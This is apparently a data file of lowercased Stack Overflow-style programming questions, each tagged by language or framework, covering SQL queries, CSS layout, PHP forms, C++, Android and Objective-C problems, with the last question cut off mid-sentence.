getting an error unrecognized or unsupported array type  i am calling function in view controller file    <pre><code>cvcalceigenobjects(ntrainfaces                          (void *)faceimgarr                         (void *)eigenvectarr                         cv_eigobj_no_callback                         0                         0                         &amp;calclimit                         pavgtrainimg                         eigenvalmat-&gt;data.fl); </code></pre>   where   <pre><code>iplimage * * eigenvectarr[nfaces];   iplimage * * faceimgarr[nfaces];  and nfaces=30 </code></pre>   i am getting an error saying :    unrecognized or unsupported array type in function cvgetrawdata.    function defination is   <pre><code>/* calculates eigen values and vectors of covariation matrix of a set of    arrays */ cvapi(void)  cvcalceigenobjects( int nobjects  void* input  void* output                                   int ioflags  int iobufsize  void* userdata                                   cvtermcriteria* calclimit  iplimage* avg                                   float* eigvals ); </code></pre>,iphone
mark space for :after content non-breaking  i m adding a little graphic flag to the end of elements in a navigation using :after. for example   <pre><code>.navtreeitem .state-restricted:after {   content:   ;   display: inline-block;   width: 10px;   height: 10px;   background: red;   border-radius: 5px; } </code></pre>   currently  if the little flag hits the end of the line it turns onto the next line by itself e.g.   <pre><code>- navigation item one   {flag}  - navigation item two </code></pre>   however  to avoid widow flags i d like the space before the flag to be non-breaking  so instead it would appear like this:   <pre><code>- navigation item   one {flag}  - navigation item two </code></pre>   i can t use white-space: nowrap because i do want the text to be able to wrap. any thoughts,css
select multiple values from same column based on 2 columns  best explained using an example. my trials and results are bellow the example.    there are two tables (in reality i have multiple tables)   <h2>table: products</h2>  <pre><code>id    name ----------- 1    apple 2    orange 3    pear </code></pre>  <h2>table: attributes</h2>  <pre><code>id  prod_id   attr_id   value ---------------------------- 1   1       101     20 2   1       102     red 3   1       103     sweet 4   2       101     30 5   2       102     orange 6   2       103     sour 6   3       101     40  7   3       102     green 8   3       103     sweet </code></pre>  <h2>desired output</h2>  <pre><code>name   attr_id 101 as  price    attr_id 102 as  taste  ------------------------------------------------------ apple        20           sweet orange       30           sour pear         40           sweet </code></pre>   i have managed sql till now but recently i have had to call 3 tables and combine column values like shown above. i just can t get my head wrapped around this. help would be greatly appreciated.,sql
get errors at color in vs express 2012  i m trying to change button color with other button click.    <code>button.background = new solidcolorbrush(color.fromrgb(100 100 100));</code>    i get error at color.     and i m using microsoft visual studio express 2012 for windows8.    i tried color name and color code. don t understand this solidcolorbrush thing.    thanks!,c#
calling template function member of the base when it s called the same name  i am trying to understand why the following code does not compile (using gcc 4.8.2):   <pre><code>struct a {     template &lt;typename t&gt;     t f() {return t(0);} };  struct b : a {     using myt = int;     myt f() {return (a *)this-&gt;template f&lt;myt&gt;();} };  int main() {     b b;     std::cout &lt;&lt; b.f() &lt;&lt; std::endl;     return 0; } </code></pre>   if i change the name from <code>f</code> to <code>f1</code> in the base  then the following compiles just fine:   <pre><code>struct a {     template &lt;typename t&gt;     t f1() {return t(0);} };  struct b : a {     using myt = int;     myt f() {return this-&gt;template f1&lt;myt&gt;();} }; </code></pre>,c++
overwrite nested z-index  i have an overlay which should be on top of everything. the problem is that the overlay is inside a content-wrapper that has a <code>z-index</code> defined. this can t be changed. the logo has a <code>z-index</code> defined as well. this too  can t be changed.    <a href= https://jsfiddle.net/az55211o/  rel= nofollow >i ve made a fiddle which shows the issue</a>. can this be done with pure css  my other idea is to move the overlay with javascript  but all the css is currently also nested  so i need to change lots of css if i do so.,css
"how to keep values in register form after error   my code works perfect with correct data. but when is invalid value in field  it shows an error message with link on page register.php and when i click on this error  it redirects to register form  but there is empty form and all values must be inserted again. i want that valid values are displayed after error and invalid not.    code:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;html&gt;
     &lt;head&gt;
         
         &lt; php include  connect.php ;  &gt;
         &lt; php include  functions.php ;  &gt;  
         &lt;meta charset= utf-8 &gt;
         &lt;title&gt;technolab-registracija&lt;/title&gt;
         &lt;link rel= stylesheet  href= style.css  type= text/css  /&gt;
         &lt; php include  header.php ;  &gt;
         
     &lt;/head&gt;
     &lt;body&gt;
         &lt;div id= container &gt;
         
              &lt;div id= left &gt;
                 &lt; php include  kategorije.php ; &gt;
             &lt;/div&gt;
             
             &lt;div id= right &gt;
                 &lt; php include  loggedin.php ; &gt; 
             &lt;/div&gt;
       
        &lt;form method= post  id= registerform &gt; 
            &lt;br/&gt;
         &lt; php
 if(!empty($_post[ username ]) &amp;&amp; !empty($_post[ password ]) )
 {
     $username = mysqli_real_escape_string($con  $_post[ username ]);
     $password = md5(mysqli_real_escape_string($con  $_post[ password ]));
     $email = mysqli_real_escape_string($con  $_post[ email ]);
     $confirm_email = mysqli_real_escape_string($con  $_post[ confirm_email ]);
     $ime = mysqli_real_escape_string($con  ucfirst($_post[ ime ]));
     $prezime = mysqli_real_escape_string($con  ucfirst($_post[ prezime ]));
     $oib = mysqli_real_escape_string($con  $_post[ oib ]);
     $ulica = mysqli_real_escape_string($con  $_post[ ulica ]);
     $mjesto = mysqli_real_escape_string($con  $_post[ mjesto ]);
     
    
     
     $checkusername = mysqli_query($con   select * from korisnici where username =   .$username.   or oib =   .$oib.   );
    
      if(mysqli_num_rows($checkusername) == 1)
      {
        
         echo  &amp;nbsp&lt;p&gt;&lt;a class= one  href=\ register.php\ &gt;unesite drugo korisničko ime!&lt;/p&gt; ;
         exit();
      }
     
     $checkusernamelenght = checkusernamelenght($username);
        if(!$checkusernamelenght){
            echo  &amp;nbsp&lt;p&gt;&lt;a class= one  href= register.php &gt;korisničko ime minimalno 4 znaka i ne smije sadržavati razmake između slova!&lt;/a&gt;&lt;/p&gt; ;
            exit();
        }
        
     if (preg_match( /^.*( =.{6 })( =.*[0-9])( =.*[a-z])( =.*[a-z]).*$/   $_post[ password ]) === 0){
         echo  &amp;nbsp&lt;p&gt;&lt;a class= one  href= register.php &gt;lozinka mora imati barem 6 znakova i sadržavati mala i velika slova te broj!&lt;/a&gt;&lt;/p&gt; ;
         exit();
         }
        
     $checkemail = mysqli_query($con   select * from korisnici where email =   .$email.   );
    
     if(mysqli_num_rows($checkemail) == 1)
      {
         echo  &amp;nbsp&lt;p&gt;&lt;a class= one  href=\ register.php\ &gt;unesite drugu email adresu!&lt;/p&gt; ;
         exit();
      }
     if ($confirm_email!=$email){
              echo  &amp;nbsp&lt;p&gt;&lt;a class= one  href=\ register.php\ &gt;vaše email adrese se ne podudaraju!&lt;/a&gt;&lt;/p&gt;  ;
              exit();
          }
          
          
     $validateemail = validateemail($email);
       if(!$validateemail){
           echo  &amp;nbsp&lt;p&gt;&lt;a class= one  href=\ register.php\ &gt;unesite ispravan format emaila!&lt;/a&gt;&lt;/p&gt; ;
           exit();
       }
       
      
     $checkoib = checkoib($oib);
     if(!$checkoib){
         echo  &amp;nbsp&lt;p&gt;&lt;a class= one  href=\ register.php\ &gt;unesite ispravan oib !&lt;/p&gt; ;
         exit();
     }
       
     else{
         $registerquery = mysqli_query($con   insert into korisnici values(     $username    $password    $email    $confirm_email    $ime    $prezime    $oib    $ulica    $mjesto    user ) );
         if($registerquery)
         {
             header( location: index );
            
         }
     }       
     }
    
  
 else
 {
      &gt;
 &lt;br/&gt;
             &lt;div id= reg &gt;
        
         &lt;label for= username &gt;korisničko ime:&lt;/label&gt;&lt;input type= text  name= username  required /&gt;&lt;br /&gt;
         &lt;label for= password &gt;lozinka:&lt;/label&gt;&lt;input type= password  name= password  maxlength= 20  required /&gt;&lt;br /&gt;
         &lt;label for= email &gt;email:&lt;/label&gt;&lt;input type= text  name= email  required /&gt;&lt;br /&gt;
         &lt;label for= confirm_email &gt;potvrdi email:&lt;/label&gt;&lt;input type= text  name= confirm_email  required /&gt;&lt;br /&gt;
         &lt;label for= ime &gt;ime:&lt;/label&gt;&lt;input type= text  name= ime  required /&gt;&lt;br /&gt;
         &lt;label for= prezime &gt;prezime:&lt;/label&gt;&lt;input type= text  name= prezime  required /&gt;&lt;br /&gt;
         &lt;label for= oib &gt;oib:&lt;/label&gt;&lt;input type= text  name= oib   required /&gt;&lt;br /&gt;
         &lt;label for= ulica &gt;ulica i kućni broj:&lt;/label&gt;&lt;input type= text  name= ulica  required /&gt;&lt;br /&gt;
         &lt;label for= mjesto &gt;mjesto i poštanski broj:&lt;/label&gt;&lt;input type= text  name= mjesto  required /&gt;&lt;br /&gt;
         &lt;br/&gt;
         &lt;input type= submit  name= register  id= register  value= registracija  /&gt;
         
             &lt;/div&gt;
        &lt;/form&gt;
         &lt; php
         }
          &gt;
     
    
         &lt;/div&gt;
         
         
         &lt; php include  footer.php ; &gt;
     &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     is it possible do that only with php or must be javascript or something else     i ve searched on forum and tried with this and similar code but it doesn t work.    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;input type= text  name= login  value= &lt; php if(isset($_post[ login ])){ echo $_post[ login ];} &gt; &gt;</code></pre>
 </div>
 </div>
     i appreciate any help!",php
how to hover multiple items   i want when user <code>hover</code> over egipat that price is also <code>hovered</code>. is that possible only with css or i need to use jquery    <pre><code>&lt;div class= col-sm-10 col-xs-12 &gt;     &lt;div class= col-sm-6 col-xs-5 tabela &gt;         &lt;h5&gt;egipat 14.6-14.7&lt;/h5&gt;     &lt;/div&gt;     &lt;div class= col-sm-2 col-xs-4 tabela2 &gt;         &lt;h5&gt;             &lt;i class= fa fa-star &gt;&lt;/i&gt;              &lt;i class= fa fa-star &gt;&lt;/i&gt;              &lt;i class= fa fa-star &gt;&lt;/i&gt;              &lt;i class= fa fa-star blue &gt;&lt;/i&gt;              &lt;i class= fa fa-star blue &gt;&lt;/i&gt;          &lt;/h5&gt;      &lt;/div&gt;     &lt;div class= col-sm-3 col-xs-3 tabela3 &gt;         &lt;h5&gt;price: 385 kn&lt;/h5&gt;      &lt;/div&gt; &lt;/div&gt; </code></pre>,css
sql convert two digits (yy) to four digitis (yyyy)  i used lpad and left function for query and i can get a 7 digits column.   <pre><code>left(lpad(id  7   0 )  2) as year </code></pre>   first two digit is year (yy). now i want to convert it to four digit year (yyyy).    how can i do it    <pre><code>1249208 -&gt; 2012 1122222 -&gt; 2011 0911111 -&gt; 2009 ...  ... 9301010 -&gt; 1993 </code></pre>  <h3>update</h3>   i use mysql. data range from 1980-2014 so far. no more.,sql
return value that ties to max date  i need to return 3 fields that appear in my select statement below  but i only need the value (flddescr) that ties with the max date (flddate) for each fldrec_num.     <pre><code>select fv_ohm_employee.fldrec_num    fv_ohm_fittest.flddate   fv_ohm_respratr.flddescr   from   fv_ohm_employee   inner join fv_ohm_fittest    on fv_ohm_employee.fldrec_num=fv_ohm_fittest.fldemployee   inner join fv_ohm_respratr    on fv_ohm_fittest.fldrespirtr=fv_ohm_respratr.fldcode </code></pre>,sql
how to pass an int between activities   i m making an android quiz and one activity stores every question. now the score displays on that activity and i would like it if it that score goes to a new activity.. and displays..    code in the quiz:   <pre><code>intent theintent = new intent(this  score.class);             theintent.putextra( somename   score);               startactivity(theintent); </code></pre>   code in the score:   <pre><code>int i = getintent().getintextra( somename ); </code></pre>   i get an error on this word..  getintextra  above in the score activity,android
mysql query (sequential records...)  i have a mysql with the following table structure:   <pre><code>table mt_events id - record id doc_id - document id event_id - event id date - event date user - user </code></pre>   the problem is that i need a report of all the documents that had an event 3 with a following event 4  which would seem quite an easy simple join  except that one document can have multiple event 3  which might or might not be followed by event 4... like this:    1 3a 4a 11 12 8 3b 4b 3c 4c 3 17 5    so far i ve gotten to :   <pre><code>select ev.date as event1  ev.user as user1  ev2.date as event2  ev2.user as user2 from  `mt_events` ev join mt_events ev2 on ev2.doc_id = ev.doc_id and ev2.event = 4 and ev2.date &gt; ev.date where ev.event = 3 and ev.date like  2013-03%  </code></pre>   but that doesn t produce required results -   <pre><code>3a 4a 3b 4b 3c 4c </code></pre>   and gives -   <pre><code>3a 4a  3a 4b 3b 4b 3a 4c 3b 4c 3c 4c </code></pre>   any help would be appreciated...,mysql
solutions for java jvm creation involving memory allocation do not fix my issue  i have a java virtual machine error on windows 10. nothing i have found (which is mostly gaming related) solve my java failure to create the virtual machine. i have custom app add in for enterprise architect. the app to run is set as <code>c:\program files (x86)\java\jre1.8.0_161\bin\javaw.exe</code>  the arguments are set as <code>-classpath edu.vanderbilt.isis.face.v21.datamodel.ea.importexport.gui.jar;c:\users\mi\documents\ea\ea_java_bindings  -djava.library.path=c:\users\mi\documents\ea\ea_java_bindings edu.vanderbilt.isis.face.v21.datamodel.ea.importexport.gui.eaimportexport --ea-project-file  $f  --ea-package-guid $p -import</code>    it has not made a difference what memory allocations i have tried to launch the vm    the application says it is a java 7 application. i have tried uninstalling all java  and only installing java 7. and likewise for java 8 to try and get this app to launch with no success. i still have no success. some i can see a second or so of execution  others absolutely nothing.,java
how to check the csv column name with mysql colomn when importing to mysql database in php  i am a importing a csv file to my database. the csv file have more than 30 columns. the problem is that sometimes the client changes the index of the columns in the csv files. means the if for ex. name is in the first place and address is in the second place of the csv file then the some times it happens that name is in the second place and address is in the first place. in the present scenario i have to check manually all the fields of the csv and i have to do this for many other csv files and it becomes very difficult to do that. so is there a way that i can check the csv columns in php and insert them to the mysql database automatically at the desired column. this is the preset way i import data to the database by index numbers. the code is as:    <pre><code>while ($data = fgetcsv ($handle  1000     )) { if($dropdown1_value== canon )     {       $query= insert into `import_copiersandprinters_canon_raw_data` set `account name`                 =   .htmlspecialchars($data[0] ent_quotes).                      `account number` =   .htmlspecialchars($data[1] ent_quotes).   `does                    business as (dba)` =   .htmlspecialchars($data[2] ent_quotes).                     `shipping city` =   .htmlspecialchars($data[5] ent_quotes).    `shipping                    zip postal code` =   .htmlspecialchars($data[6] ent_quotes).                      `phone` =   .htmlspecialchars($data[7] ent_quotes).                      `lease term` =   .str_replace( )     str_replace(                      (   -  str_replace(       str_replace( $     $data[15])))).                        `lease expiration date` =   .htmlspecialchars($data[17] ent_quotes).                       `file_name` =   .$new_file_name.    `file_date` =   .date( y-m-d                        h:i:s ).   ;                     mysql_query($query) or die(mysql_error());                    if (mysql_error() &lt;&gt;   )                   {                                   fputcsv($output  $data);                      $error_count++;                   }                   else                   {                      $row_count = $row_count + 1;                   }                 $total = $total+1;              }        } </code></pre>,php
undefined method `stringify_keys  when calling update_attributes   i am getting this error: undefined method `stringify_keys  for :environ_gross_score:symbol when i attempt to create a new rating.   <pre><code>  class rating &lt; activerecord::base   belongs_to :city     after_save :calculate_rating    def calculate_rating      @env  =   self.environ       self.city.environ_vote_count += 1                                        @c = self.city.environ_gross_score      @gross = @c += @env      self.city.update_attributes(:environ_gross_score  @gross )      @hold = self.city.environ_gross_score / self.city.environ_vote_count       self.city.update_attributes(:environ_rating  @hold) end  end </code></pre>,ruby-on-rails
retrieve table with jquery and change color of all th s  i have on the page alot of tables  but with a jquery i need to get only that <code>table</code> which has 1 <code>th</code> with the class <code>ms-vh2-nograd</code>  all others i pass.     so in other words i search for <code>th.ms-vh2-nograd</code> and i need to get parent parent i think and then for each <code>th</code> in that <code>table</code> i need to set background color to white.    here is the code which i have  but it doesnt work  anyone has any idea     <pre><code>jquery(document).ready(function() {     $table=$( table.ms-listview ms-vh2-nograd )     $table.( th ).each(function()     {         this.style.backgroundcolor= white      }); }); </code></pre>   update: and the links in those th s must not have hover over ... functionality,jquery
control a dynamically created <input />s (like name[]) doesn t sum more than 99  jquery  i ve got a backend page where the client can add dynamically various <code>&lt;input /&gt;</code>s for declaring the percentage of participation of other people. like: company a colaborates with company b and c that b has 10% and the c the 30%. company a will have 60%.    the exactly <code>&lt;input /&gt;</code> is this:   <pre><code>&lt;input type= text  name= percentage[]  value= 0  /&gt; % </code></pre>   there is another one for the name of the company  but this doesn t needs any kind of control.    now  when the user is filling the data and adds percentage  i ve to calculate that the sum of all percentage[] it s less or equal to 99. i ve to show on a <code>&lt;div /&gt;</code> the participation of company a depending of the percentage[] introduced and if the sum of percentage[] is =99 i can t let the user introduce bigger numbers on percentage[] inputs.    example #1:   <ul> <li>company b: 10%</li> <li>company c: 30%</li> <li>company d: 10%</li> </ul>   total participation of company a is 50%.    example #2:   <ul> <li>company b: 50%</li> <li>company c: 49% &lt;- the user can t put a number bigger than 49% because company a will at least have a 1% of the participation.</li> <li>company d: 0% &lt;- can t have more percentatge </li> </ul>   total participation of company a is 1%.    first of all i know that i ve to use .live() to handle this because is added in the dom after the document.ready(). when typing  i assume that i ve to check the sum every number and finally write to the div the percentage for company a depending on the array of percentage[].    can someone help me with this     thank you in advance!,jquery
how do i make a password in my python program to be shown as asterisk <pre><code>def loginokay():   print( you must login before proceeding )   userid = input( user id )   userpw = input( password )   if (userid== mr leeman ) and (userpw== treeroad! ):     return true   else:     print( error in userid or password )     return false </code></pre>   i need to be able to enter (treeroad!)  but it need to be hidden and replaced with asterisk.,python
how to determine the number of parameters/keywords of a selector  i know it can be done by decoding the selector name returned from sel_getname.    but is there any other more convenient preloaded info in runtime that i can get,objective-c
loading drawable images using universal image loader  i have gone through <a href= https://github.com/nostra13/android-universal-image-loader#acceptable-uris-examples  rel= nofollow >github page</a> of universal image loader library and tried to display images from drawable folder as given in following code  but only stub images are getting displayed.    i have initialised the imageloader as follows   <pre><code> imageloaderconfiguration config = new imageloaderconfiguration.builder(getapplicationcontext())             .threadpoolsize(3)             .threadpriority(thread.norm_priority - 2)             .memorycachesize(1500000) // 1.5 mb             .denycacheimagemultiplesizesinmemory()             .disccachefilenamegenerator(new md5filenamegenerator())            // .enablelogging() // not necessary in common             .build();         // initialize imageloader with configuration.         imageloader.getinstance().init(config); </code></pre>   baseactivity :   <pre><code>public abstract class baseactivity extends activity {          protected imageloader imageloader = imageloader.getinstance();            } </code></pre>   my activity code    <pre><code>public class multistickerselectoractivity extends baseactivity {      private arraylist&lt;string&gt; imageurls;     private displayimageoptions options;     private imageadapter imageadapter;     private static final int selection_limit = 5;     private int mselectioncount = 0;   // keep all images in array     private static integer[] stickerresids = {r.drawable.men_sticker_0 r.drawable.men_sticker_1 ..... r.drawable.men_sticker_16};      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.ac_image_grid);          this.imageurls = new arraylist&lt;string&gt;();          // get image urls         for (int i = 0; i &lt; stickerresids.length; i++) {            imageurls.add( drawable:// +stickerresids[i]);         }          options = new displayimageoptions.builder()             .showstubimage(r.drawable.stub_image)             .showimageforemptyuri(r.drawable.image_for_empty_url)             .cacheinmemory()             .cacheondisc()             .build();          imageadapter = new imageadapter(this  imageurls);          gridview gridview = (gridview) findviewbyid(r.id.gridview);         gridview.setadapter(imageadapter);             }      @override     protected void onstop() {         imageloader.stop();         super.onstop();     }      public void btnchoosephotosclick(view v){         globalclass.imagepaths = imageadapter.getcheckeditems(); //saved urls of checked images          log.d( multistickerselectoractivity    selected items:   + globalclass.imagepaths.tostring());         intent intent=new intent();  // return to previous activity         setresult(1 intent);           finish();//finishing activity       }      public class imageadapter extends baseadapter {          arraylist&lt;string&gt; mlist;         layoutinflater minflater;         context mcontext;         sparsebooleanarray msparsebooleanarray;          public imageadapter(context context  arraylist&lt;string&gt; imagelist) {             // todo auto-generated constructor stub             mcontext = context;             minflater = layoutinflater.from(mcontext);             msparsebooleanarray = new sparsebooleanarray();             mlist = new arraylist&lt;string&gt;();             this.mlist = imagelist;          }          public arraylist&lt;string&gt; getcheckeditems() {             arraylist&lt;string&gt; mtemparry = new arraylist&lt;string&gt;();             // logic to get checked images goes here              return mtemparry;         }          @override         public int getcount() {             return imageurls.size();         }          @override         public object getitem(int position) {             return null;         }          @override         public long getitemid(int position) {             return position;         }          @override         public view getview(int position  view convertview  viewgroup parent) {              if(convertview == null) {                 convertview = minflater.inflate(r.layout.row_multiphoto_item  null);             }              checkbox mcheckbox = (checkbox) convertview.findviewbyid(r.id.checkbox1);             final imageview imageview = (imageview) convertview.findviewbyid(r.id.imageview1);              imageloader.displayimage(imageurls.get(position)  imageview  options  new simpleimageloadinglistener() {                 @override                 public void onloadingcomplete(bitmap loadedimage) {                     animation anim = animationutils.loadanimation(multistickerselectoractivity.this  r.anim.fade_in);                     imageview.setanimation(anim);                     anim.start();                 }             });              mcheckbox.settag(position);             mcheckbox.setchecked(msparsebooleanarray.get(position));             mcheckbox.setoncheckedchangelistener(mcheckedchangelistener);              return convertview;         }          oncheckedchangelistener mcheckedchangelistener = new oncheckedchangelistener() {              @override             public void oncheckedchanged(compoundbutton buttonview  boolean ischecked) {                 //logic related to check - uncheck image goes here              }         };     }  } </code></pre>   i cant get where i am getting wrong  any help will be greatly appreciated. thanks in advance !,android
using like operator in mysql  i want search companies from my company table when i give company name...here am using like operator    eg: saravana stores     it gives the result saravana stores texttiles saravana stores thanga maligai etc(which is contained with saravana stroes...coz of using <code>like</code> operator)    now my problem is when i give <strong>lcd projectors</strong> in the companyname  also want to fetch the records which are contained with the only <strong>projector</strong> word...but like operator gave the results with the  lcd projector     am making clear,mysql
most convenient pattern for printing a timestamp using java.util.formatter  java.util.formatter is a very handy standard tool for string substitution/replacement.    as far as i can find  the easiest way to print a timestamp (ie 2015-01-01 12:10:05.492) is to use the following:   <pre><code>string.format( timestamp %1$tf %1$tt.%1$tl   new date()); </code></pre>   <code>%#$tf %#$tt.%#$tl</code> is a little more code than i d like.    without using extra objects such as simpledateformat is there are more convenient way to acheive the same outcome,java
android samples - accelerometer and apidemos do not build  i am new to android development. i have succesfully installed eclipse with android developer tool plugin and many of the samples work fine.    but android samples - <code>accelerometer and apidemos do not build</code>. i see many build errors notifying to fix the errors in code. i dont think google has released apidemo sample with build errors.    thanks in advance  please advice how to fix these errors  or if any configuration/setting is required.    i have set the java compiler compliance level to 1.6.    error information(for acceralometer sample):    the project contains error(s) in application. please fix them before running   <pre><code>error details:      the method onaccuracychanged(sensor  int) of type accelerometerplayactivity.simulationview must override a superclass method         accelerometerplayactivity.java  /accelerometerplay/src/com/example/android/accelerometerplay    line 456         java problem     call requires api level 8 (current min is 5):      android.view.display#getrotation    accelerometerplayactivity.java  /accelerometerplay/src/com/example/android/accelerometerplay         line 389    android lint problem </code></pre>   regards  jai,android
error while converting gridview with paging into excel  i am using the following code to convert gridview to ms-excel format. the problem is this if i use following code one 1st page is converted into ms-ecxel    <pre><code>protected void button1_click(object sender  eventargs e) {             response.clear();     response.buffer = true;     string file1 = textbox1.text +  .xls ;     string attachment = string.format( attachment;filename={0}   file1);     this.enableviewstate = false;      response.addheader( content-disposition   attachment);     response.charset =   ;     response.cache.setcacheability(httpcacheability.nocache);     response.contenttype =  application/ms-excel ;     using (stringwriter sw = new stringwriter())     {          htmltextwriter htw = new htmltextwriter(sw);         gridview1.rendercontrol(htw);         response.output.write(sw.tostring());         response.flush();         response.end();     } } </code></pre>   and if add these two lines to my code i ll get blank ms-excel sheet    <pre><code>         gridview1.allowpaging = false;         this.emp_wrklog(); </code></pre>   please do the needful changes in my code so that i can cnvert my gridview having paging into excel. thanks in advance.,asp.net
how to release the nsxmlparser object   iam working on one application.in that application i declared the nsxmlparser object in viewdidload method.but where this object can be release.so please tell me which is the correct place for release that object.see my code   <pre><code>nsstring *xmlfilepath = [[nsbundle mainbundle] pathforresource:@ file  oftype:@ xml ]; nsdata *data=[nsdata datawithcontentsoffile:xmlfilepath]; nsxmlparser *xmlparser = [[nsxmlparser alloc] initwithdata:data]; [xmlparser setdelegate:self]; [xmlparser setshouldprocessnamespaces:no]; [xmlparser setshouldreportnamespaceprefixes:no]; [xmlparser setshouldresolveexternalentities:no]; [xmlparser parse]; </code></pre>,iphone
sql question checking nulls  i m very new to sql. i am on this project where i have to check if something is null and if it is i have to change it to zero but there are many tables that i would have to do this and many columns. i was wondering if there was a way that i can check the whole table for nulls instead of checking every column of every table.,sql
i keep on getting this expected identifier or  (   i keep getting <code>expected identifier or  ( </code> for the below code. i am trying to do an example for my school project. anybody s help will be appreciated. this is the entire script.    <pre><code>  // //  viewcontroller.m //  pocket codez // //  created by dinesh1201 on 10/9/14. //  copyright (c) 2014 dinesh and co. all rights reserved. //  #import  viewcontroller.h   @interface viewcontroller () - (ibaction)generate:(id)sender; @property (strong  nonatomic) iboutlet uilabel *password;  @end  @implementation viewcontroller  - (ibaction)generate:(id)sender {  struct label label = { .password = @ 468392  };  }  - (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view  typically from a nib. }  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }  @end </code></pre>   the error is located at    <pre><code>struct label label = { .password = @ 468392  }; </code></pre>   now after the edit and is saying that variable has incomplete type  struct label,objective-c
explain c++ pointer initialization <pre><code>int value = 3; int *pvalue1 = &amp;value; int *pvalue2(pvalue1); cout &lt;&lt; (*pvalue1) &lt;&lt;     &lt;&lt; (*pvalue2); </code></pre>   in the above code if you have noticed i have written    <pre><code>int *pvalue2(pvalue1);  </code></pre>   instead of    <pre><code>int *pvalue2 = new int; pvalue2 = pvalue1; </code></pre>   still it is working and giving proper result.  can any one explain to me which of the default function or constructor is getting called in this case,c++
can i build an if expression ouside the if statement in php  is it possible to build an if expression outside the if statement itself  can i concatenate multiple conditions outside the statement and then test them in another if statement     for example   <pre><code>$var=  $varcars==5 &amp;&amp; varbikes ==  .$totalbikes;  if(isset($trucks){   $var= $var.  &amp;&amp; vartrucks== .$totaltrucks ; } if($var){   run some code } </code></pre>   this was easy in vbscript!!    harj,php
dynamically add gridview on page  how i can add gridview dynamically with itemtemplate to the page using c# code  i wanted to add dynamic no of gridview (3 to 10) as per requirement on page. i want template sort of class which will create &amp; handle  n  gridviews design &amp; events,c#
how to use while more efficiently in c++   i am trying to code 2048 game in c++  and i created some functions to add a new random number in a random place after detecting user presses the arrows to play. those functions are about to find a place where no number has taken and then place the new number. i tried to ways to do this. one is kind of silly which is used a lot of cases  and the other one is just use while which works slow when i am running this game. i am new to c++. i hope someone can help me find a better solution.  and here are those code：   <pre><code>bool add_new_number_when_up() {     srand(time(null));     int n = rand() % 2 + 1;     int newnumber = pow(2  n);     while(true) {         if(check_up_move() == 1) {             loop:             int a = rand() % 8;             switch(a) {             case 0:                 if(grid[2][0] == 0) {                     grid[2][0] = newnumber;                     return false;                 }                 else {                     goto loop;                 }                 break;             case 1:                 if(grid[2][1] == 0) {                     grid[2][1] = newnumber;                     return false;                 }                 else {                     goto loop;                 }                 break;             case 2:                 if(grid[2][2] == 0) {                     grid[2][2] = newnumber;                     return false;                 }                 else {                     goto loop;                 }                 break;             case 3:                 if(grid[2][3] == 0) {                     grid[2][3] = newnumber;                     return false;                 }                 else {                     goto loop;                 }                 break;             case 4:                 if(grid[3][0] == 0) {                     grid[3][0] = newnumber;                     return false;                 }                 else {                     goto loop;                 }                 break;             case 5:                 if(grid[3][1] == 0) {                     grid[3][1] = newnumber;                     return false;                 }                 else {                     goto loop;                 }                 break;             case 6:                 if(grid[3][2] == 0) {                     grid[3][2] = newnumber;                     return false;                 }                 else {                     goto loop;                 }                 break;             case 7:                 if(grid[3][3] == 0) {                     grid[3][3] = newnumber;                     return false;                 }                 else {                     goto loop;                 }                 break;             }         }         else {             return false;         }     } } </code></pre>   and this is the other one:   <pre><code>void test_if_zero(int row  int col)  {     srand(time(null));     int n = rand() % 2 + 1;     int newnumber = pow(2  n);     if(grid[row][col] == 0) {         grid[row][col] = newnumber;     } }  int check_empty() {     int flag = 0;      for(int i = 0; i &lt; 4; i++) {         for(int j = 0; j &lt; 4; j++) {             if(grid[i][j] == 0) {                 flag = 1;                 return flag;             }         }     } }  bool add_new_number(int num) {     loop:     int row  col;     srand(time(null));     switch(num) {     case 1: //up         row = rand() % 2 + 2;         col = rand() % 4;         break;     case 2: //down         row = rand() % 2;         col = rand() % 4;         break;     case 3: //left         row = rand() % 4;         col = rand() % 2 + 2;         break;     case 4: //right         row = rand() % 4;         col = rand() % 2;         break;     }     while(true) {         if(check_empty() == 1) {             if(grid[row][col] == 0) {                 test_if_zero(row  col);                 return false;             }             else {                 goto loop;             }         }         else {             break;         }     } } </code></pre>,c++
"console.log() outputs an other value than it should  when i code practice in codewar.com  i meet a difficulty. without (in)correct return. but <code>console.log()</code> outputs the correct value. can you help me     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function findn(m n = 1 v = 0){
     if(m == 1){
         return n;
     }else if(v &lt; m){
         v += n * n * n;
         n++;
         let newn = n - 1;
         if(v == m){
             console.log(newn);
             return newn;
         }
         newn = null;
         findn(m n v);
 
     }else if(v &gt; m){
         return -1;
     }
 }
 findn(4183059834009);</code></pre>
 </div>
 </div>",javascript
getting the values from objects in nsmutablearray (console)  as newbie  im stuck on getting the values from objects i have put in a nsmutablearray. to give a full picture of my problem i would appreciate you reading the following:    (writing to console in xcode)    lets say i produce a new object as follows:   <pre><code>person *player = [[person alloc] init];  player.age = 10; player.height = 10; player.name = @ player ; </code></pre>   as i continue to write my programme i can change the above values of player i.e   <pre><code>player.age = 23; etc..... </code></pre>   if i want to create another person (player2) i repeat the above like this:   <pre><code>person *player1 = [[person alloc] init];  player1.age = 13; player1.height = 4; player1.name = @ player1 ; </code></pre>   in my programme i can now change and compare values of the 2 objects i.e.   <pre><code>if (player.age == player1.age) bla bla bla </code></pre>   my problem starts if i want to create 20+ person objects - i know how to place all the objects in a loop/nsmutablearray as follows:   <pre><code>for (int i = 0; i &lt; 20; i++) {     person *player = [[person alloc] init];      player.age = 10;     player.height = 10;     player.name = @ player ;     [myarray addobject:player];            [player release];          } </code></pre>   all the objects in myarray are individual but have the same values. thats fine ! but how to get or change the objects in myarray   (not at run time)    if [myarray objectatindex:4]; holds the following values:   <pre><code>player.age = 10; player.height = 10; player.name = @ player ; </code></pre>   how do i get to the object(s) in myarray so i can compare/sort/add etc..    heres example of what i want to do but i know 